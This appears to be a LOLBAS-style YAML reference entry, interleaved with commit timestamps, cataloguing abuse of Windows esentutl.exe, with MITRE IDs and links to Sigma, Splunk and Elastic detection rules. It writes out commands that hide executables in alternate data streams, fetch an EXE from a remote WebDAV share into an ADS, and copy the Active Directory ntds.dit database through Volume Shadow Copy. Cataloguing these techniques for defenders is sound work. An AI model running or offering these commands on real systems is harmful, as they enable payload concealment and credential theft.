2018-06-09 00:15:06 +02:00
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Name: Esentutl.exe
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2018-09-24 21:59:43 +02:00
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Description: Binary for working with Microsoft Joint Engine Technology (JET) database
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
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Description: Copies the source VBS file to the destination VBS file.
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2018-09-24 21:59:43 +02:00
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Usecase: Copies files from A to B
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2021-01-10 16:04:52 +01:00
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Category: Copy
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2018-09-24 21:59:43 +02:00
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
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Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
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2018-09-24 21:59:43 +02:00
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Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2018-09-24 21:59:43 +02:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
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Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
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2018-09-24 21:59:43 +02:00
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Usecase: Extract hidden file within alternate data streams
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2018-09-24 21:59:43 +02:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
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2021-01-10 16:04:52 +01:00
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Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
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2018-09-24 21:59:43 +02:00
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Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2018-09-24 21:59:43 +02:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
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Description: Copies the source EXE to the destination EXE file
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2018-09-24 21:59:43 +02:00
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Usecase: Use to copy files from one unc path to another
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Category: Download
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2018-09-24 21:59:43 +02:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2019-02-12 14:15:55 +01:00
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- Command: esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
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Description: Copies a (locked) file using Volume Shadow Copy
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Usecase: Copy/extract a locked file such as the AD Database
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2021-01-10 16:04:52 +01:00
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Category: Copy
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2019-02-12 14:15:55 +01:00
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Privileges: Admin
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2021-11-05 21:32:44 +01:00
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MitreID: T1003.003
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2019-02-12 14:15:55 +01:00
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OperatingSystem: Windows 10, Windows 2016 Server, Windows 2019 Server
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\esentutl.exe
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- Path: C:\Windows\SysWOW64\esentutl.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2018-09-24 21:59:43 +02:00
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- Code:
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Detection:
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2021-11-15 14:19:03 +01:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/fb750721b25ec4573acc32a0822d047a8ecdf269/rules/windows/deprecated/win_susp_vssadmin_ntds_activity.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/fb750721b25ec4573acc32a0822d047a8ecdf269/rules/windows/deprecated/win_susp_esentutl_activity.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/bacb44ab972343358bae612e4625f8ba2e043573/rules/windows/process_creation/process_susp_esentutl_params.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_copying_sensitive_files_with_credential_data.yml
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- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/egre55/status/985994639202283520
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2019-02-12 14:15:55 +01:00
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- Link: https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
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- Link: https://twitter.com/bohops/status/1094810861095534592
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2018-09-24 21:59:43 +02:00
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Acknowledgement:
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- Person: egre55
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Handle: '@egre55'
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2019-02-12 14:15:55 +01:00
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- Person: Mike Cary
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Handle: 'grayfold3d'
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---
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